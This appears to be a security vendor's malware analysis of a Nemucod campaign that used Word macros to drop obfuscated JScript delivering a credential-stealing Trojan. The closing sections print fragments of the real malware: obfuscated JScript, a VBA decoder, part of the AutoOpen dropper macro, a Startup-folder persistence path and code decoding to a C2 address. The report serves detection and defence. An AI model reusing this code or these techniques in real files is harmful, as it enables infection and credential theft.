Nemucod Analysis Essay

Recently the Unit 42 research team have been investigating a wave of Nemucod downloader malware that uses weaponized documents to deploy encoded, and heavily obfuscated JavaScript, ultimately leading to further payloads being delivered to the victim. From a single instance of the encoded JavaScript discovered in one version of this malware, we pivoted on the Command and Control (C2) IPv4 address discovered during static analysis and deobfuscation, using our Threat Intelligence Service AutoFocus, unearthed many more versions of the malware and found that the versions seen to date were delivering a credential-stealing Trojan as the final payload.

In our recently published Unit 42 white paper Credential-Based Attacks we describe the importance of credentials to attackers, how they are stolen using techniques including malspam phishing as per this Nemucod campaign that delivers a credential stealing Trojan, as well as how the stolen credentials are used by the attackers to masquerade as legitimate users.

Over the past five months we have tracked this campaign of Nemucod malware in various industry sectors across multiple countries with Europe amassing the highest number of attacks, followed by the United States of America and then Japan (as can be seen in Figure 1).

Figure 1: Nemucod Destination Countries by session volume.

Figure 2: Target Industries by session volume.

Spain was the single most affected country, as shown in Figure 1, with the Professional and Legal Services sector, as shown in Figure 2, contributing the most towards that and also towards Belgium’s total volume as well. Utilities was next, almost exclusively in France; Healthcare was primarily made up again from volume seen in Spain; Energy, towards the end of the list of Top 10 industries shown in Figure 3, was mostly due to activity in the United Kingdom; the Securities and Investments sector was mostly made up from traffic in the United States of America, United Kingdom and Norway. Malicious traffic seen in Japan was due to attacks seen in High Tech industries.

Figure 3: European Countries by session volume.

Much of the malware arrived by email (using SMTP, POP3 and IMAP applications) as shown in Figure 4, the vast majority of which originated from Poland or at least using source email addresses with Polish domain names. Recipient email addresses varied but many seem valid based on names and linked-in account details. A small proportion of the sessions seen were over the web-browsing application being downloaded from websites resolving to IP addresses in Moldova, which will be discussed in more detail later.

Figure 4: Nemucod network application by session volume

The remainder of this blog describes the evolution of the malware since that time, as well as other topics:

  • Weaponized document evolution.
  • Insight into the possible workflow and setup of the attackers, including their infrastructure.
  • Obfuscation and social engineering techniques used.
  • The credential theft payload.

Technical Analysis

Dropper Evolution

Apart from a brief period of time in January 2017, when the actors delivered the encoded JScript content via Delphi-compiled dropper executable files, we have primarily observed only weaponized documents using Microsoft Office Macros using Visual Basic for Applications (VBA) code to install Nemucod. It’s hard to know why the attackers changed briefly from using weaponized documents to using executable files and then switched back again, especially considering the volume of documents carrying malware nowadays. Perhaps they were testing their own or their targets’ capabilities.

In total Unit 42 has seen over 50 versions of these weaponized documents spanning from late October through to March. We’ve used these to lay out a timeline, which will be referenced throughout the remainder of this blog, of the milestones of evolution that provides some insight into why the changes are made. Note: This figure does not cover all versions seen but simply milestone changes. It does however start with the first version created on October 23rd, last saved 25th October and first seen by our Wildfire cloud sandbox 26th October.

Figure 5: Timeline showing evolution of Nemucod weaponized documents.

Common throughout all versions of the weaponized document droppers is password-protected VBA code, as shown in Figure 6 below. The attackers use this to hinder researcher analysis and perhaps to give the document more legitimacy for those people, or security solutions, looking at such properties.

Figure 6: Password-protected VBA editor to protect code

Also common to all versions is the use of a heavily obfuscated JScript payload, an excerpt of which is shown in Figure 7. The obfuscation makes use of variable names that are seemingly randomly generated, extensive use of Unicode character encoding (e.g. \u00xx) where xx is the ASCII character code representation, and the use of generally unnecessary arithmetic to piece together sub-strings or select characters from strings. Such obfuscation is primarily to avoid signature-based detection technologies but has little to no effect on dynamic analysis sandbox systems, such as Wildfire. It does however cause some headaches and delays during manual analysis.

Figure 7: Obfuscated JScript code

In one of the earlier versions, towards the end of October and as shown by the fourth item in the Figure 5 timeline, an extra ASCII cipher obfuscation layer (excerpt in Figure 8) was added together with accompanying VBA code (Figure 9) to de-obfuscate said layer. This cipher obfuscation indicates the actors yearn to avoid detection.

Figure 8: Extra layer of obfuscated JScript code

Figure 9: VBA de-obfuscation code for extra layer of JScript obfuscation

It took a while for the actors to update any obfuscation techniques for the JScript code but around the middle of December, versions started to make use of Microsoft Script Encoding replacing their custom ASCII cipher perhaps for simplicity or bugs they themselves were finding difficult to debug.

Such encoded content often resides in files with a .JSE extension but it’s prudent to confirm by checking the magic bytes “#@~^” are present at the start of the file, an example of which is shown below:

Figure 10: Use of Microsoft’s Script Encoding to further obfuscate the JScript code

Don’t judge a document by its cover

It’s often interesting to extract document meta-data and other information from such weaponized documents in case it provides insight into the investigation. Of course, much of this data could be forged (as other researchers have shown) or simply nonsensical. In this case, there’s plenty of interesting variable data and information that make some conclusions quite plausible.

Looking at the charts below it’s clear to see patterns emerging in how the threat actors’ development of malware used in the campaign has evolved and how it’s analogous to a software development team working on a new project, tweaking code over time with some versions being major releases and others being minor.

Plotting the number of revisions made to each of the weaponized documents, as shown in Figure 11, and overlaying the number of words in each document’s body, highlights some patterns beginning to emerge.

Figure 11: Chart plotting number of revisions (right-axis) to each document and the number of words contained (left-axis).

The properties of the weaponized document of the initial version from late October indicates a large number of revisions – the highest with 192 – compared to all other versions since, which makes sense if it is indeed the actor’s first version indicating the authoring effort was significant with many modifications made. Again, this is analogous to a software developer’s first version of a piece of software.

Most of the versions avoided using anything but default VBA project property details, such as Project Names and Project Descriptions, however initially I didn’t think this would be the case having analysed the first version. Figure 12 below shows the custom Project Description used in this version.

Figure 12: VBA project description used in the first version.

If you don’t recognise this quote, Figure 13 below should provide some more context.

Figure 13: Breaking Bad season one, episode seven.

The quote used as the project description in the first version was a word for word copy from a scene in episode seven, season one of the American crime drama television series Breaking Bad. Warning – spoiler alert. I find it very fitting the threat actors should include this reference in their malware because, just as with the plot of the television series where a character was not always a criminal but turned to such a lifestyle to support his family, the person or persons behind this malware campaign must have switched at some point from law abiding to being cyber criminals.

Other document versions, much like the first with its 192 revisions as previously mentioned, also have an above-average number of revisions that tie to significant updates and feature releases in the malware’s evolution akin to a major software release. I will discuss these in more detail shortly but before moving on it’s worth highlighting the significance of the flat-line (zero) for the number of words included in these document versions that suddenly jumps up to over 6,000 words on the 30th November 2016 and that continues to trend upwards eventually ending with some of the most recent versions having over three times the number of words. Over this time period, as the number of words in each document increased, during this time the obfuscation techniques remained fairly stagnant indicating that the amount of code was increasing as more capabilities were added over time.

In addition to the number of words and edit revisions of these weaponized documents, comparing the time spent editing them compounds the aforementioned patterns in the evolution. Figure 14 shows a couple of interesting points to note. Firstly, that the initial version took the most amount of editing thus far – over 2 days – and secondly, that the next highest amount of time spent was on the November 30th coinciding with the aforementioned spike in number of words from zero to over 6,000.

Figure 14: Chart plotting amount of editing time for each version.

November 30th was certainly a significant shift in the techniques used by the actors and, investigating further, the change made by the actors between the two dates was to move the encoded JScript code from being statically held within the VBA code to being stored in the Word document itself.

How much VBA is too much?

Pre-November 30th all versions seen had the obfuscated (but not yet encoded at this point) JScript code stored in the malicious VBA code within Word’s AutoOpen macro, such that the code will execute automatically when the document is opened by the victim. The excerpt in Figure 15 provides a glimpse of said code but is truncated by many 100s of lines. Highlighted in bold is the code to add chunks of the obfuscated JScript code into an array object that will later be enumerated, processed and reassembled for writing to disk as a single .JSE file for execution by the Microsoft Windows Script Host executable (wscript.exe). The VBA code is overcomplicated with various function and object names being broken up unnecessarily and stitched together at run-time to be syntactically correct, another effort to hinder human analysis.

Figure 15: Obfuscated JScript code stored in VBA code

Since the von November 30th the VBA code has been replaced by less than 10 lines of code, as in Figure 16, that simply reads the text contents of the word document and writes it to the .JSE file. Over time the obfuscation of this smaller VBA code changed slightly to make string and signature-based detection difficult by over-complicated code syntax and by strings, such as filenames, being split and joined at run-time.

Figure 16: VBA code to retrieve obfuscated JScript code stored in document body

As can be seen in the code in Figure 16, the .JSE file will be written to disk in the same folder where the document resides and with the same filename as the document but having the .JSE extension. For a file named foobar.doc located on the desktop a file foobar.doc.jse will appear on the desktop.

The VBA code ActiveDocument.Content.Text is responsible for retrieving the obfuscated JScript content from the Word document, which in the case of one version highlighted in Figure 17, is 24 pages long but as you can see in the same figure, the document looks blank. Selecting-all in the 24 pages reveals more and changing the font colour to something other than white reveals the malicious code, as shown in Figure 18.

Figure 17: Post November 30th version showing 24 pages of blank content.

Figure 18: Revealing the hidden malicious code.

There could be numerous reasons for this change of moving the JSE code from within VBA to the document text, one of which could be simplicity for the actors, as per their shift from using their custom cipher code for obfuscation to Microsoft’s Script Encoder, which gave them less code to maintain. Another could be to throw off antivirus scanners and tools that use heuristics to evaluate the suspiciousness of files for which a 24-page document with content and a small amount of VBA code might look less suspicious than a 1-page, no-content document with 100s of lines of VBA code.

It could also be a social engineering technique as victims may be inclined to click on the “Enable Content” button if they believe the document has content but cannot see it. Of course, clicking this button would instead result in the VBA code being executed.

Practice makes perfect

Continuing along the Figure 5 timeline into December, around the middle of the month a version appeared that made use of the Security Permissions in Office applications to prevent unauthorised changes, such as marking areas of the document read-only, which also prohibits changing the font colour of the document text. However, such document permissions don’t stretch to Data Loss Prevention (DLP) capabilities so it’s possible to select the document text content and copy & paste into another application to retrieve the malicious code. Figure 19 shows the difference in document properties between versions pre (left) and post (right) permission changes that occurred on the December 18th version. Only a couple of the 20+ versions after December 18th were missing these permissions with no obvious evidence (e.g. new author, major code release, day of the week etc) to explain why but given the consistency with the others using permission it’s possible a human error occurred or the actor’s release process failed to check whether permissions were set.

Figure 19: Word document permissions missing (left) in earlier versions and present in most later versions (right)

In the week between Christmas and New Year – you know, that time where you’ve eaten too much, perhaps drunk too much and work, and the world in general, tends to be in go-slow mode – you would be an attacker’s perfect recipient of some unwanted phishing emails to take advantage of your stupor. On Wednesday December 28th a new version was created that boosted the social engineering capabilities of this malware.

Figure 20 shows the addition of a fake message claiming that the document was edited in a later version of Word and to view it, the recipient should click “Enable Content”. The festive period aside, it’s likely the actors were trying to stimulate the growth of their victim base with such tactics.

Figure 20: Social engineering used to entice victims to run their malicious macro code.

Since the beginning of 2017 we have seen a few versions including VBA GUI Form elements, as shown in the Figure 21. Currently the form, elements and skeleton code behind the scenes do nothing so one can only presume this is yet another measure to create a sense of legitimacy and perhaps throw some antivirus solutions off the scent by making the macro code seem quite benign. The use of GUIs is quite uncommon in malware as actors often don’t want to interact with victims and raise suspicion, unless to ask for ransom payments but there’s no indication of such payloads being used with these downloaders yet, nor any sense of these forms looking anything like typical ransomware ransom messages.

Figure 21: VBA Forms including GUI elements in some recent versions.

About one week after the first version to include VBA Form GUI elements another version emerged this time showing, albeit it in a faded grey colour, the encoded JScript code within the document text, as shown in Figure 22. Perhaps this is another lure technique to have victims click “Enable Content” believing the text may be ‘enabled’ and turn to the default black colour or look less like garbled text.

Figure 22: Grey, faded font properties used

Approaching the end of the current Figure 5 attack timeline now, some new versions seen around mid-January included a VBA code change to use Word’s AutoClose macro function instead of AutoOpen as used in all previous versions. The technical effect of this change should be quite obvious but the effect from a social engineering perspective and one of delaying or avoiding raising suspicion to the victim might be less obvious.

Quite often when weaponized documents like these are opened or enabled (“Enable Content” has been clicked) the effect is immediate – CPU spikes, ransom messages appear, network connections are made and so on. It may not be obvious that something untoward is happening but often hard drive noises, CPU fans or other indicators tell you otherwise. In this case however, the user could open the document safely, even click the “Enable Content” button and still remain safe and if no tell-tale signs of infection occur one might think all is well. Closing the document, or the Word application itself, however would trigger the infection routine by which point you may have felt a sense of relief nothing had happened. Short lived.

Some other points listed in the Figure 5 timeline worth discussing include the Operating System version, Code page and the Authors. Throughout the evolution of all the weaponized document versions all but two, according to their meta-data, were created using Word on a Windows 5.1 (XP) operating system; Windows 6.1 (Windows 7) was used for the two outliers. Incidentally, the two versions created on Windows 7 introduced two new Authors as well.

Author “Till3” appeared approximately one month after the first version and created their version on the 25th November, made 3 revisions to the content and last saved the document some 13 minutes after creating it. This version was one of the last of the “original” types where the JSE code was stored statically in the VBA code.

Author “Nish” appeared several versions later, around 14th December, making hardly any revisions and spending almost no time editing the document but doing so also on a Windows 7 host.

As for the rest of the authors, and their Windows XP systems, Figure 23 shows that most of the versions – over half – were created by authors with no names while Victor created almost a quarter and the rest were split in similar small numbers between John, Mike, Martin and two previously mentioned, Till3 and Nish.

Interestingly, it seems Victor played a much larger role in the final saves, and possibly edits, of over three quarters of all versions perhaps indicating him as a more senior member of the group or a team leader of sorts.

Figure 23: Author names (left), last saved names (right).

All versions of the weaponized documents gathered thus far share the same Code Page, 1251, which is designed to cover languages that use Cyrillic script, such as Russian, Bulgarian, Serbian Cyrillic and some other similar languages.

As shown in Figure 24 below, December was the busiest month for the actors who released close to 30 versions – almost one a day. It’s hard to know why the change in rates over the different months other than to say that clearly lots of churn was happening to various aspects of their malware and delivery mechanisms, which may have led to slightly higher numbers earlier on. As previously mentioned, and as described in our recent blog providing a glimpse into how the OilRig actors develop and test their malware in an attempt to remain undetected and to carry out multiple attacks without having to completely retool, these threat actors have shown during this Nemucod campaign their quite rapid development process that added features, ensured minimal detection rates by using obfuscation and other methods, and their enhancements in social engineering techniques to lure new victims.

Figure 24: Number of versions per month

The JSE Payload

Assuming the weaponized document’s macro code has executed the encoded, heavily obfuscated JScript code will be saved to disk and executed. One of the first behaviours observed is that of a fake error message box, such as the example in Figure 25. Message text varies but follows a theme of reporting something seemingly legitimate failed to run – another false sense of security for the victim.

Figure 25: Fake error message opened as part of the JSE execution

The vast majority of versions copy the JSE file to the Windows Startup Folder, as shown below, to ensure the code runs with every system reboot.

The JSE code uses various obfuscation routines and techniques to hinder analysis, including the use of Unicode characters in place of the ASCII character equivalent when declaring some variable names and for some strings. Converting these characters back to ASCII as part of the de-obfuscation process reveals some content that provides useful entry points for further analysis, an example of which includes the variable name “\u0075\u0072\u006c\u0031\u0032”, which translates in ASCII to “url12”.

In one version this variable is initialized with the following code, which decodes at run-time to the following URL string ‘https://185.159.82[.]11:3333/P/tipster.php?’.

1

esesop_famous4='symbol';esesop_However7='breaking';esesop_pillar7='Paolo';esesop_pretends='Leading';esesop_comfortable='quattrocento1';esesop_PABLO='artistic10';esesop_Raphael7='Durer5';esesop_Picasso='demonstrates';esesop_clearly5='between';esesop_TURNER5='being3';esesop_famous8='renewal';esesop_often1='expressionism';esesop_Abstract7='MARCEL8';esesop_above='loose7';esesop_many1='years';esesop_courtesan='modernism10';esesop_with='FRIDA';esesop_JACKSON='romanticism';esesop_Sistine='Quattrocento';varesesop_considered=this[[''+String[{p0:'\u0066'}.p0+{p0:'\u0072'}.p0+{p1:'\u006f'}.p1+{p_t1:'\u006d'}.p_t1+{p_s0:'\u0043'}.p_s0+{p_1:'\u0068'}.p_1+{p_l0:'\u0061'}.p_l0+{p0:'\u0072'}.p0+{p3:'\u0043'}.p3+{p_1:'\u006f'}.p_1+{p_f2:'\u0064'}.p_f2+{p_h2:'\u0065'}.p_h2](Math[{p_3:'\u006d'}.p_3+{p_M2:'\u0061'}.p_M2+{p3:'\u0078'}.p3](87,[]))+'',

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6D6D@A072>@FDclVDJ>3@=Vj6D6D@A0w@H6G6CflV3C62<:?8Vj6D6D@A0A:==2CflV!2@=@Vj6D6D@A0AC6E6?5DlV{625:?8Vj6D6D@A04@>7@CE23=6lVBF2EEC@46?E@`Vj6D6D@A0!pq{~lV2CE:DE:4`_Vj6D6D@A0#2A926=flVsFC6CdVj6D6D@A0!:42DD@lV56>@?DEC2E6DVj6D6D@A04=62C=JdlV36EH66?Vj6D6D@A0%"

FunctionGhost(str)

    Dimi,j,k,r

    j=Len(str)

    r=""

    Fori=1Toj

        k=Asc(Mid(str,i,1))

        Ifk>=33Andk<=126Then

            r=r&Chr(33+((k+14)Mod94))

        Else

            r=r&Chr(k)

        EndIf

    Next

    Ghost=r

EndFunction

$hexdump-Cwx64.jse|head

00000000  23407e5e4c585142  41413d3d645e574f  |#@~^LXQBAA==d^WO|

00000010  7f5c7f44436d5c7f  2b2a7b203126702f  |.\.DCm\.+*{1&p/|

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Sub AutoOpen()

 

'==========================================================================

Dim objSysInfo: Set objSysInfo = CreateObject("WinNTSystemInfo")

Dim objFSO:     Set objFSO = CreateObject("Scripting.FileSystemObject")

Dim objShell:   Set objShell = CreateObject("Shell.Application")

Dim objDic:     Set objDic = CreateObject("Scripting.Dictionary")

Dim objPO:      Set objPO = CreateObject("Scripting.Dictionary")

Dim wsh:        Set wsh = VBA.CreateObject("WScript.Shell")

'==========================================================================

 

Dim filepath AsString:  filepath=Empty

Dim tempcode12 AsString:  tempcode12=Empty

Dim hash12 AsString:  hash12=Empty

Dim strComputerName AsString:  strComputerName=Empty

Dim objFile,empty12,filets,ver,out1,proc

Dim hash#, upper&, i&

Dim now,mimi AsLong

Constmax# = 2 ^ 31

 

 

With objDic

.Add"g1","angul_tryingI=0.669;angul_something=0.105;angul_never6=0.879;angul_shes=913;angul_aware8=0.663;angul_said=846;angul_cold=739;angul_life7=0.927;angul_dare3=370;angul_sees=0.96;angul_whole8=0.31;angul_yourself=707;angul_goneShe=0.21;var angul_stayEven1"

.Add"g2","={_lo3:'\u0045'}._lo3+{_m1:'\u006e'}._m1+{_d2:'\u0074'}._d2+{_1:'\u0065'}._1+{_th3:'\u0072'}._th3+{_ah1:'\u0020'}._ah1+{_re1:'\u0074'}._re1+{_d0:'\u0068'}._d0+{_0:'\u0065'}._0+{_K3:'\u0020'}._K3+{_wi1:'\u0074'}._wi1+{_n1:'\u0065'}._n1+{_w1:'\u0078'}."

.Add"g3","_w1+{_re0:'\u0074'}._re0+{_sh3:'\u0020'}._sh3+{_0:'\u0074'}._0+{_t3:'\u006f'}._t3+{_y2:'\u0020'}._y2+{_1:'\u0065'}._1+{_pr0:'\u006e'}._pr0+{_w1:'\u0063'}._w1+{_j2:'\u006f'}._j2+{_h0:'\u0064'}._h0+{_fa1:'\u0065'}._fa1+{_3:'\u0020'}._3+{_j0:'\u0074'}._"

C:\Users\<username>\AppData\Roaming\Microsoft\Windows\Start

Menu\Programs\Startup\

1

{orl_8:'\u0068'}.orl_8+{hich_5:([][[]]+[]).fixed().toLowerCase().substr(1,1)}.hich_5+{ud_6:([][[]]+[]).fixed().toLowerCase().substr(1,1)}.ud_6+{ar_6:'\u0070'}.ar_6+{he_9:'\u0073'}.he_9+{ta_7:'\u003a'}.ta_7+{vr_4:'\u002f'}.vr_4+{hich_9:'\u002f'}.hich_9+{ith_5:'\u0031'}.ith_5+{hy_8:'\u0038'}.hy_8+{ur_7:'\u0035'}.ur_7+{etLi_8:([][[]]+[]+{ine4_9:([][[]]+[]+{on_5:([][[]]+[]+'.').split([])[9]}.on_5).split([])[9]}.ine4_9).split([])[9]}.etLi_8+{ort_8:'\u0031'}.ort_8+{hat_5:'\u0035'}.hat_5+{orms_4:'\u0039'}.orms_4+{ut_5:([][[]]+[]+{ine4_9:([][[]]+[]+{on_5:([][[]]+[]+'.').split([])[9]}.on_5).split([])[9]}.ine4_9).split([])[9]}.ut_5+{heeT_8:'\u0038'}.heeT_8+{es_5:'\u0032'}.es_5+{pea_4:([][[]]+[]+{ine4_9:([][[]]+[]+{on_5:([][[]]+[]+'.').split([])[9]}.on_5).split([])[

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